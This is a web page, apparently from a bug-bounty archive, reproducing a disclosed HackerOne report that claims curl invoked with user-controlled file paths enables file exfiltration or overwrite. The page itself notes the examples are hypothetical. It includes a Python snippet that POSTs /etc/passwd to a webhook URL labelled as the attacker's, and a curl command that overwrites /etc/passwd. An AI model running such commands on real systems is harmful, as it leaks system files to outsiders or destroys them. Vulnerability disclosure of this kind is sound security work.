Skip to content
Path traversal Disclosed report Intermediate

Arbitrary File Read via Unsanitized curl Usage Results in Sensitive File Exposure

The report claims that if an application passes untrusted user input into curl command-line arguments such as --cookie-jar or -d @file, an attacker could read sensitive files or overwrite critical files. The text provides hypothetical examples but does not show a specific vulnerable endpoint or actual exploitation.

ednaq Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 18 days

Hello team, First of all, your open report policy has improved me a lot. Your very caring team has motivated me a lot. A real bug bounty program. I hope I can contribute something to you with this report.Thank you.

The application uses curl in a way that allows an attacker to specify arbitrary file paths as input for parameters like --cookie-jar or via POST data (-d @file). If untrusted user input is passed to these arguments, it’s possible to overwrite sensitive files or exfiltrate server files to an external attacker-controlled server. This can lead to sensitive data disclosure or denial of service.

Impact

Impact Sensitive file disclosure (exfiltration of /etc/passwd or other files).

Overwriting critical files (e.g., authorized_keys, .env, configuration files).

Potential supply chain compromise in automated build or CI environments.

Attack Scenario Example 1: File Exfiltration with POST

If user input controls the file path (e.g. filename or data argument in a curl command):

import subprocess

# Attacker's endpoint
webhook_url = "https://webhook.site/fd9dfaf1-7ed0-446e-9c6f-e182f6b11e4e"
file_path = "/etc/passwd"

cmd = [
    "curl",
    "-X", "POST",
    "-d", f"@{file_path}",
    webhook_url
]

subprocess.run(cmd, check=True)

Result: The entire contents of /etc/passwd are POSTed to the attacker's server. This can be any sensitive file on the system.

Example 2: Overwriting Files with --cookie-jar

If an attacker can control the filename passed to --cookie-jar:

curl --cookie-jar /etc/passwd https://example.com

Result: The target file (/etc/passwd) is overwritten with a cookie file, destroying its original content. If this is a critical file, the application/system may become unusable.

Recommendation : never use unsanitized user input in system commands, especially file paths.

Sanitize and validate all file inputs.

If you must allow user-supplied files, use strict whitelisting and store files in isolated, non-sensitive directories.

Avoid passing user input directly to curl command line without checks.

Attachments

Ekran_g_r_nt_s__2025-06-09_140421.png
Ekran_g_r_nt_s__2025-06-09_140421.png From the original on HackerOne
Ekran_g_r_nt_s__2025-06-09_141245.png
Ekran_g_r_nt_s__2025-06-09_141245.png

The original report as published on HackerOne, by ednaq. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Application passes user input to curl file arguments; attacker can control the file path

The fix

The application should never pass unsanitised user input to system commands, especially file paths, and should validate and whitelist any file inputs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report is about a program that runs the curl tool using file names or paths that a user can control. If an attacker can choose those paths, they might make curl send a private file to themselves or overwrite an important file. However, the report only gives general examples and does not show a real place in the application where this happens.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.